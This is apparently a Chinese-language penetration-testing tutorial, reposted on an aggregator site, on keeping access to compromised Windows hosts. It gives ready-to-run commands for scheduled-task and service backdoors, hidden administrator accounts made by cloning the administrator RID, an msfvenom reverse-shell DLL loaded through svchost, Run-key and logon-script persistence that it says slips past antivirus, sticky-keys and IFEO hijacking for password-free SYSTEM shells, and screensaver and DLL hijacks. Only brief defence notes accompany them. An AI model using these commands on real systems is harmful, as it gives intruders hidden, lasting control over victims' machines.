windows权限维持方法详解

news2024/11/15 8:16:39

权限维持

在获取服务器权限后,为了防止服务器管理员发现和修补漏洞而导致对服务器权限的丢失,测试人员往往需要采取一些手段来实现对目标服务器的持久化访问。

权限持久化(权限维持)技术就是包括任何可以被测试人员用来在系统重启、更改用凭据或其他可能造成访问中断的情况发生时保持对系统的访问技术。

常见系统后门技术

1. 创建计划任务

通过创建计划任务,让目标主机在特定的时间点或规定的周期内重复运行测试人员预先准备的后门程序,从而实现权限持久化。

windows中使用schtasks命令创建计划任务。https://www.yuque.com/chenchen-dqalz/ddhuud/dqzgp7

1. 在\Microsoft\Windows\AppTask\AppRun\路径下创建计划任务"updatex",触发程序为beacon.exe,运行级别为高级别,以system权限每隔2分钟运行一次。

schtasks /create /tn "\Microsoft\Windows\AppTask\AppRun\updatex" /tr C:\beacon.exe /rl highest /F /sc minute /mo 2 /RU system

ps:如果当前为普通用户执行计划任务, /ru参数值可以设置为 %username%,如果是管理员则可以指定为.system

防御

当计划任务指定了路径时,通过启动项管理是看不到创建的计划任务的,需要火绒剑

2. 创建影子账户

影子账户,就是隐藏账户,无论通过“计算机管理”还是命令行查询都无法看到,只能在注册表中找到其信息。可以通过创建具有管理员权限的影子账户,在目标主机上实现权限维持,不过需要拥有管理员级别的权限。

通过创建影子账户,测试人员可以随时随地通过远程桌或其他方法登录目标系统

1. 使用如下命令创建隐藏用户并加入管理员组

net user hacker$ 123456 /add

# $表示该用户为隐藏账户

net localgroup administrators hacker$ /add

创建成功后使用 net user 命令无法查看到此用户

但是 net localgroup administrators 、用户管理、用户登录界面可以查看到

修改注册表

我们可以通过对注册表的修改来将其完全隐藏

  1. 修改注册表sam的权限为 administrator账户完全控制

定位到如下,右键,选择权限,将administrator的权限设置为完全控制。因为该注册表项中的内容在标准用户和管理员权限下都是不可见的

HKEY_LOCAL_MACHINE\SAM\SAM

再重新进入注册表就能展开“SAM”下的内容了

  1. 劫持administrator的RID

点击administrator,可见类型为01f4,在左边找到与01f4相同的目录名

进入,如下双击,复制000001F4表项的F属性的值

以相同的方法找到与隐藏账户hacker$类型值相同的相应的目录“000003EA”,将复制的“000001F4表项的F属性的值”粘贴到“000003EA表项的F属性值”中

以上过程其实是hacker劫持了administrator用户的RID,从而使hacker$用户获得administrator用户的权限(只是将hacker$账号添加到administrators组中,会无法完成整个操作,如无法远程登录hacker$)

  1. 选择注册表项hacker$和000003EA并导出

以同样的方式导出000003EA目录

  1. 删除hacker$

net user hacker$ /del

  1. 将刚才导出的两个注册表文件再导入注册表中即可

到此,真正的影子账号就建立好了。此时无论是net localgroup administrators 、用户管理、用户登录界面都无法查看到,只有注册表中才能看到刚账号的信息

成功对hacker$进行远程桌面连接,其实就是通过克隆的方式能够继承原帐户administrator的权限,如果目标administrator账号在线则会被挤出

以上所有的过程通过脚本实现(有一定难度):https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F

防御

查看如下注册表(需先分配权限)并与net user中比较,看是否存在可疑账号。

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

激活Guest账户

Guest为windows为内置账号,属于Guests组,默认为禁用状态,可以将他激活,设定密码,并加入到管理员组中即可使用

net user guest /actice:yes

net user guest 123.com

net localgroup administrators guest /add

防御

  • 查看guest账号是否激活,是否添加到管理员组中

3. 系统服务后门

对于启动类型为“自动”的系统服务,测试人员可以将服务运行的二进制文件路径设置为后门程序或其他攻击载荷,当系统或服务重启时,可以重启获取对目标主机的控制权限。不过需要拥有管理员权限才能操作

创建自启动服务

自启动服务一般是在电脑启动后 在后台加载指定的服务程序,我们可以将 exe 文件注册为服务,也可以将 dll 文件注册为服务。

针对服务的操作,涉及到一条命令sc。其可以更改服务的属性、启动状态,删除或停止服务。

1. 创建服务

#创建名为backdoor的服务(注意等号后面有空格),设置自启动,启动权限为system

sc create backdoor binpath= "cmd.exe /k C:\beacon.exe" start= "auto" obj= "Localsystem"

#启动服务

net start backdoor

#查询服务

sc query backdoor

#删除服务

sc delete backdoor

服务如下

启动服务,上线

当系统或服务重启,将以system权限运行后门程序beacon.exe,目标主机将重新上线

利用现有的系统服务

通过修改现有服务的配置信息,使服务启动时运行指定的后门程序。通过“sc config”命令修改服务的binpath选项,也可以尝试修改服务注册表的ImagePath键,二者都直接指定了相应服务启动运行的二进制文件。

利用svchost.exe启动服务

svchost.exe是windows的系统文件,官方解释:svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,而且是不能被结束的。许多服务通过注入到该程序中启动,所以会有多个该文件的进程。

在windows系统中,需要由svchost.exe进程启动的服务将以DLL形式实现。在安装这些服务时,需要将服务的可执行文件路径指向svchost.exe。在启动这些服务时,由svchost.exe调用相应服务的dll文件,而具体调用哪个dll是由该服务在注册表的信息所决定。

如下服务启动的可执行文件的路径为“%systemroot%\system32\svchost.exe -k netsvcs”,说明该服务是依靠svchost.exe加载DLL文件来实现的

该服务的注册表下还有一个Parameters子项,其中的ServiceDLL键值表明该服务由哪个dll文件负责。当服务启动时,svchost.exe就会加载wuaueng.dll文件,并执行其提供的具体服务

注意,系统会根据服务可执行文件路径中的参数对服务进行分组,如 %systemroot%\system32\svchost.exe -k netsvcs 表明该服务属于netsvcs这个服务组。通常,每个svchost进程负责运行一组服务。因此,并不是每启动一个服务就会增加一个svchost.exe进程。

svchost.exe的所有服务组位于注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost中。通过svchost.exe加载启动的服务都要在该表项中注册

在实战中,测试人员可以通过svchost.exe加载恶意服务,以此建立持久化后门。由于恶意服务dll将加载到svchost.exe进程,恶意进程不是独立运行的,因此使用这种方法建立的后门具有很高的隐蔽性。

  1. msf生成恶意dll文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.5 LPORT=4444 -f dll -o reverse_tcp.dll

  1. 将生成的dll上传到目标主机的c盘下依次执行以下命令,安装并配置恶意服务。

#1.创建名为backdoor的服务,并以svchost加载的方式启动,服务分组为netsvc

sc create backdoor binPath= "C:\Windows\System32\svchost.exe -k netsvc" start= "auto" obj= "Localsystem"

#2.设置backdoor服务启动时加载的dll为beacon.dll

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\backdoor\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\system32\beacon.dll"

#3.配置服务描述

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\backdoor /v Description /t REG_SZ /d "Windows update Service"

#4.配置服务显示名称

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\backdoor /v DisplayName /t REG_SZ /d "backdoor"

#5.创建服务新分组netsvc,并将backdoor服务添加进去

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvc /t REG_MULTI_SZ /d backdoor

启动服务或者重启系统时,Svchost.exe以system权限加载恶意服务,目标主机将上线(可能因为dll的原因,连接msf后马上又掉了)

4. 启动项/注册表键后门

通过将后门程序添加到系统启动文件夹或通过注册表运行键引用来进行权限持久化。添加的后门程序将在用户登录的上下文中启动,并且具有与账户相关联的权限等级。

系统启动文件夹

将程序放置在启动文件夹中会导致该程序在用户登录时执行。windows中有两种常见的启动文件夹:

  1. 用户自启动文件夹

里面存放的程序只对当前用户生效。每个用户都有自己的自启动文件夹

win+r 后输入:shell:startup

%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

# %USERPROFILE% 为系统变量 = C:\Users\用户名

  1. 系统自启动文件夹

无论哪个用户登录账户,都将检查并启动该文件夹中的程序。普通用户想写入该文件夹需要有管理员权限

win+r 后输入:

%programdata%\Microsoft\Windows\Start Menu\Programs\Startup

# %ProgramData% = C:\ProgramData

在这里添加的启动项,安全软件中能在启动项中看到此程序

防御

检查对应的文件夹中是否存在可疑程序

注册表运行键

windows系统上有许多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载指定DLL文件,可以对此类注册表进行滥用,以建立持久化后门。

当用户登录时,系统会依次检查位于注册表运行键(Run keys)中的程序,并在用户登录的上下文中启动

#以下注册表中的程序将在当前用户登录时启动

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

#以下注册表中的程序将在所有用户登录时启动

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

如下,在注册表运行键中添加一个名为“backdoor”的键,并将键值指向后门程序的绝对路径。系统中任何用户登录都将触发程序执行

REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\beacon.exe"

防御

检查对应注册表中是否存在可疑键

logon scripts 后门

Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

注册表位置:HKEY_CURRENT_USER\Environment

HKEY_CURRENT_USER\Environment

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\poc.exe"

查询注册表是否添加成功

# reg query 根键子键 /v 键名称

reg query HKEY_CURRENT_USER\Environment /v UserInitMprLogonScript

如果不存在则显示“错误: 系统找不到指定的注册表项或值”

此时,用户一登录成功执行poc.exe

注意:在此注册表中添加的启动项在安全软件的启动项管理中是看不出来的,而且它优先于安全软件启动。比如,在没有杀软的情况下我在这注册表里放了beacon.exe,然后重启电脑,此时杀软也启动了,但是它并不会拦截该exe程序

但是,此时只要一执行敏感命令如"shell whoami"就会被拦截

但是,如果我们在执行特殊命令前,先将进程注入到其他的正常进程去,此时杀软就不会再进行拦截

Port Monitors

打印后台处理服务(print Spooler)负责管理windows系统的打印作业。与该服务的交互是通过Print Spooler API执行的,其中包含AddMonitor函数,用于安装Port Monitors(本地端口监视器),并连接配置、数据和监视器文件。AddMonitor函数能够将DLL注入spoolsv.exe进程,以实现相应功能,并且通过创建注册表键,测试人员可以在目标系统上进行权限持久化。需管理员权限

  1. cs生成恶意DLL

  1. 将生成的DLL上传到目标主机的c:\windows\system32目录中,并执行以下命令,通过编辑注册表安装一个端口监视器

#HKLM\SYSTEM\就是HKEY_LOCAL_MACHINE,Monitors为新建的目录

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\TestMonitor" /v "Driver" /t REG_SZ /d "reverse.dll"

当系统重启时,Print Spooler服务在启动过程中会读取Monitors注册表项的所有子键,并以system权限加载Drivers键值所指定的DLL文件。不知为何,重启后我这里cs没有上线

事件触发执行

1. 利用WMI事件订阅

使用WMI的功能在远程主机上部署永久事件订阅,并在特定事件发生时,执行特定的后门程序,以建立持久化后门 —> https://www.yuque.com/chenchen-dqalz/qe15s1/rrc5ws

2. 利用系统辅助功能

windows系统包含了许多供用户通过组合键启动的辅助功能,测试人员可以修改这些程序的启动方式,以获取目标主机的命令行或运行指定的后门攻击载荷,不需要登录系统即可获取目标主机权限。常见的辅助功能程序如表

程序

功能

热键组合

sethc.exe

粘滞键

连按5次Shift

magnify.exe

放大镜

windows + "+"

utilman.exe

实用程序

windows + u

osk.exe

屏幕键盘

windows + ctrl + o

displayswitch.exe

扩展屏幕

windows + p

atbroker.exe

辅助管理工具

narrator.exe

讲述者

windows + ctrl + enter

粘滞键

最常利用的辅助功能程序是sethc.exe,所在路径为c:\windows\system32。通常被称为“粘滞键”。当连续5次按下shift键时,该程序启动。

攻击者通过在目标主机上将cmd.exe伪装成sethc.exe,然后在远程桌面登录屏幕中连按5次shit键,即可获取一个命令行窗口,实现未授权访问。需管理员权限。

粘滞键:Windows中的粘滞键是专为同时按下两个或多个键有困难的人设计的。粘滞键的主要功能是方便Shift、Ctrl、Alt与其他键的组合使用。在我们使用热键,例如“CTRL+C”时,粘滞键就可以通过一次只按一个键来完成复制的功能。

在高版本的windows中,c:\windows\system32目录下的文件受到系统保护,只有TrustedInstaller权限的用户才能对其中的文件拥有修改和写入的权限。

所以,在替换sethc.exe程序需要先通过令牌窃取提升至TrustedInstaller权限。相关提权方法,见令牌窃取

获取到TrustedInstaller权限后,执行以下命令

cd c:\windows\system32

move sethc.exe sethec.exe.bak

copy cmd.exe sethc.exe #将一个cmd.exe副本伪装成sethc.exe

此时,在目标主机的远程桌面登录屏幕中连按次shift键,即可获取一个命令窗口,并且为system权限

3. 映像劫持

“映像劫持”,也被称为 “IFEO”(Image File Execution Options),是windows系统的一个注册表项,路径为“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options”。在windowsNT系统中,IFEO原本是为一些默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。IFEO使得开发人员能够将调试器附加到应用程序。当创建进程时,应用程序的IFEO中设置的调试器将附加到应用程序的名称前,从而有效地在调试器下启动新进程。

Dubugger

  • 利用前提:开启3389端口

当用户启动计算机的程序后,系统会在注册表的IEFO中查询所有的程序子键,如果存在与该程序名称相同的子键,就读取对应子键的“Dubugger”键值。如果该键值未被设置,就默认不做处理,否则直接使用该键值所指定的程序路径来代替原始的程序。

通过编辑“dubugger”的值,测试人员可以通过修改注册表的方式创建粘滞键后门,而不需要获取TrustedInstaller权限。

在目标主机上执行以下命令,向Image File Execution Options注册表项中添加映像劫持子键,并将“Dubugger”的值设置为要执行的程序即可

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

此时连续按5次shift键即可打开cmd。当该机器开启远程连接时,我们在linux机器上与其进行远程连接,弹出连接窗口后。连按次shift键即可打开cmd。此时无需输入目标用户密码

防御

查看是否存在“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe”注册表项

GlobalFlag

IFEO还可以在程序静默退出时启动任意监控程序。实现的效果是:程序A静默退出结束后,会执行程序B。

劫持notepad.exe(记事本)示例:

#启用对记事本进程的静默退出监视

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

#启用windows错误报告进程WerFault.exe,它将成为beacon.exe的父进程

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

#京监视进程设为beacon.exe

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\beacon.exe"

此时我们打开notepad再关闭后,将在werFauit.exe父进程中创建子进程以运行后门程序beacon.exe

每次启动再关闭记事本,都会生成一个beacon.exe进程

防御

查看“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit”注册表中是否存在可疑项,且项中的键值是否指向可疑程序

4. 利用屏幕保护程序

屏幕保护是windows系统的一项功能,可以在一段时间不活动后播放屏幕消息或图形动画。屏幕保护程序又具有.scr文件扩展名的可执行文件组成。系统注册表项HKEY_CURRENT_USER\Control Panel\Desktop下存储用来设置屏幕保护程序的键值。

键名

说明

SCRNSAVE.EXE

设置屏幕保护程序的路径,其指向.scr为扩展名的可执行文件

ScreenSaveActive

设置是否启用屏幕保护程序,默认为1表示启动

ScreenSaverIsSecure

设置是否需要密码解锁,设为0表示不需要密码

ScreenSaveTimeOut

设置执行屏幕保护程序之前用户不活动的超时

测试人员可以通过编辑注册表,修改屏幕保护程序的执行路径(即scrnsave.exe键的值),当触发屏幕保护时执行自定义的后门程序,以此实现持久化,命令如下

#将触发屏幕保护时执行的程序设为自定义的恶意程序,这里的程序以.scr或.exe为扩展名皆可

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\beacon.exe" /f

#启用屏幕保护

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f

#设置不需要密码解锁

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f

#将用户不活动的超时设置为60秒

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f

利用该技术不需要管理员源权限,以标准用户权限即可利用。这里实验无任何反应

5. DLL劫持

DLL劫持是指将通过同名的恶意DLL文件放在合法DLL文件所在路径前的搜索位置,当应用程序搜索DLL时,会以恶意DLL代替合法的DLL来加载。通过劫持应用程序或服务所加载的DLL文件,在目标系统上建立持久化后门。

劫持应用程序

参考:https://cloud.tencent.com/developer/article/1951503

劫持系统服务

MSDTC(分布式事务处理协调器)是windows系统服务,负责协调跨越多个资源管理器(例如数据库,消息队列和文件系统)的事务。

MSDTC服务启动后,将尝试在c:\windows\system32目录中加载oci.dll文件,但是该文件不存在。所以,我们可以制作一个恶意的dll,将其命名为oci.dll,并放在c:\windows\system32目录下,当MSDTC服务启动时,恶意dll将加载到msdtc.exe进程中。注意,在某些版本的系统中MSDTC服务的启动类型默认为手动。为了实现权限持久化,可以将其启动类型改为“自动”

  1. 将msdtc服务启动类型设置为自动

sc config msdtc start= "auto"

  1. 复制恶意dll到c:\windows\system32目录下

  1. 服务或系统重启时主机上线,并且权限为network service

防御

检查c:\windows\system32目录中是否存在oci.dll恶意文件,因为默认是不存在该文件的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/176899.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Allegro如何通过飞线判断同一个网络连接位是否在同一直线操作指导

Allegro如何通过飞线判断同一个网络连接位是否在同一直线操作指导 Allegro可以通过飞线判断同一个网络的连接位是否在同一条直线上,如下图 当飞线是类似三角形的时候,可以判定两个连接点位是在同一条直线上 具体设置操作如下 选择Setup选择Design Parameter

React源码之render过程中发生了什么?

理解JSX 对于我们直接书写jsx语法&#xff0c;我们的浏览器是不理解我们这种语法的&#xff0c;所以需要babel来去转义&#xff0c;那么可以通过plugin-transform-react-jsx来转译jsx语法&#xff0c;使得浏览器可以识别我们的Jsx语法&#xff0c;例如&#xff1a; <div&g…

关于xshell简答使用

xshell是一个远程工具下载 官网地址&#xff1a;https://www.xshell.com/zh/xshell/直接下载即可~选择免费的授权页面 下载 不然要收费 也不要用盗版。运行后的xshell界面我们要建立服务器的连接点击加号 新建连接 即可 输入连接地址后 要输入 账号 和 秘密 OK 好了 可以使用了…

【Linux】Linux编译器gcc、g++

文章目录&#x1f3aa; Linux编译器gcc、g&#x1f680;1. 程序的编译⭐1.1 预处理⭐1.2 编译⭐1.3 汇编⭐1.4 链接⭐1.5 gcc/g常用指令&#x1f680;2. 函数库⭐2.1 静态库⭐2.2 动态库⭐2.3 动静态库对比&#x1f3aa; Linux编译器gcc、g 我们这以gcc为例&#xff0c;g编译器…

【学习笔记之数据结构】树的认识

树的概念&#xff1a; 树是一种非线性的数据结构&#xff0c;它由n&#xff08;n可以为0&#xff09;个有限的节点组成一个具有层次关系的结合。之所以把它称之为树是因为它的逻辑结构形似一个倒着的树。它的根在上面&#xff0c;叶子在下面。   有一个特殊的节点&#xff0c…

WebRTC系列-Qos系列之接收NACK

文章目录 1. 主要调用流程1.1 RTCP和RTP包区分1.2 查找丢失包2. RTX在文章 WebRTC系列-Qos系列之RTP/RTCP源码分析-RTP/RTCP包解析-3的2.3.3章节介绍了NACK包在WebRTC中解析方式及RFC规定协议的定义。 这篇文章开始,详细分析其接受RTCP包到解析nack的处理流程; 1. 主要调用流…

Kotlin中空安全操作符,异常处理和自定义异常,以及先决条件函数详解

博主前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住也分享一下给大家 &#x1f449;点击跳转到教程 一、Kotlin的可空性 null 在java中我们司空见惯的空指针异常NullPointerException,带给了我们很多麻烦。 Kotlin作为更强…

STM32编写OLED显示屏驱动

文章目录前言一、OLED的器件地址二、编写写数据和写命令函数三、编写初始化OLED屏幕函数四、其他功能函数编写五、显示字符和数字函数编写总结前言 这篇文章将带大家学习如何编写OLED显示屏的驱动程序。这里我使用的是HAL库的硬件IIC&#xff0c;OLED屏幕使用的是SSD1306的。 …

sbt编程语言scala的构建工具配置及项目构建(附带网盘下载)

SBT简介 SBT 是 Scala 的构建工具&#xff0c;全称是 Simple Build Tool&#xff0c; 类似 Maven 或 Gradle。 Java可以用Maven快速构建项目&#xff0c;scala用SBT快速构建一个Scala项目。 sbt下载官网 百度网盘链接&#xff1a;https://pan.baidu.com/s/1eJkdWndZ0izcd3w…

Elasticsearch7.8.0版本高级查询——桶聚合查询文档

目录一、初始化文档数据二、桶聚合查询文档2.1、概述2.2、terms 聚合&#xff0c;分组统计的示例2.3、在 terms 分组下再进行聚合的示例一、初始化文档数据 在 Postman 中&#xff0c;向 ES 服务器发 POST 请求 &#xff1a;http://localhost:9200/user/_doc/1&#xff0c;请求…

Yolo系列理论

参考文章&#xff1a;AI菌的YOLO系列 目标检测-Yolo系列发展Anchors Base原理Anchors Free原理YOLO v1Yolov1网络结构Yolov1实现方法Yolov1损失函数Yolov1总结YOLO v2Yolov2网络结构Yolov2改进细节Yolov2总结YOLO V3Yolov3网络结构YOLO V4Yolov4网络结构YOLOv4 BackBone训练策略…

数据库搏击

1. Mysql入门 1.1 Mysql5.7 安装配置 1.2 命令行连接到Mysql 1.3 图形化软件 1.3.1 Navicat SQLyog 1.4 数据库三层结构 所有安装Mysql数据库&#xff0c;就是在主机安装一个数据库管理系统(DBMS)&#xff0c;这个管理程序可以管理多个数据库。DBMS(database mana…

设计模式 - 六大设计原则之LSP(里氏替换)

文章目录概述里氏替换原则问题由来里氏替换的原则里氏替换原则的作用CaseBad ImplBetter Impl抽象银行卡类储蓄卡实现类信用卡实现类单元测试小结概述 里氏替换原则&#xff08;Liskov Substitution Principle , LSP&#xff09; 由麻省理工学院计算机科学西教授 Barbara Lisk…

MySQL两种引擎的索引

推荐看看这个视频&#xff0c;将两种引擎实现的索引原理说的比较清楚 4-2 索引概述 本文转载&#xff1a;想飞的盗版鱼的博客​​​​​​ mysql5.5之后都是用idb了 补充一个主键和索引的关系&#xff1a;Are You OK&#xff1f;主键就是聚集索引吗&#xff1f; 索引类型…

五个简单常用的系统命令

一、文件扫描修复 以管理员身份进入命令提示符&#xff0c;输入Sfc空格/scannow 二、使用Check disk命令检查并修复磁盘错误 1、开机时连续不断的点击F11键&#xff0c;选择&#xff08;疑难解答&#xff09;-选择&#xff08;高级选项&#xff09;-选择&#xff08;命令提示…

virtualbox运行Ubuntu系统

virtualbox安装 下载virtualbox VirtualBox 7.0.6版本下载 安装virtualbox 点击执行VirtualBox-7.0.6-155176-Win.exe即可&#xff0c; 直接点击"下一步" 直到 “完成” 导入以有的ova虚拟机文件 1&#xff09;点击导入 2&#xff09;选择下载的ova文件 3&a…

GD32F4——定时器(TIMERx)

一、概述 定时器的主要功能是用来计时&#xff0c;时间到达之后可以产生中断&#xff0c;提醒计时时间到&#xff0c;然后可以在中断函数中去执行功能。 GD32F450ZGT6共14个定时器&#xff0c;分别为 &#xff08;1&#xff09;高级定时器&#xff08;TIMERx&#xff0c;x0,…

LightGBM介绍

LightGBM介绍 GBDT是机器学习中一个长盛不衰的模型&#xff0c;其主要思想是利用弱分类器&#xff08;决策树&#xff09;迭代训练以得到最优模型&#xff0c;该模型具有训练效果好&#xff0c;不易过拟合等优点。GBDT不仅在工业界应用广泛&#xff0c;通常被应用于多分类、点…

【ONE·C || 数据存储】

总言 C语言&#xff1a;数据存储相关介绍。 文章目录总言1、基本数据类型介绍1.1、整体介绍1.2、各数据类型分别说明&#xff08;整型、浮点型、构造、指针、空&#xff09;2、整型在内存中的存储2.1、原码、反码、补码2.1.1、总体介绍2.1.2、char、short类型在内存中的存储范围…

顺序表的具体使用方法.数据解构(二)

前言 提示&#xff1a;文本为数据解构(一)后续补充文&#xff1a; 本文具体讲解顺序表的具体使用方法 提示&#xff1a;以下是本篇文 系列文章目录 第一章 数据解构(一) 文章目录 前言 系列文章目录 一、静态的使用方式 二、动态的使用方式 1.定义一个结构体 2.初始化 3.扩容…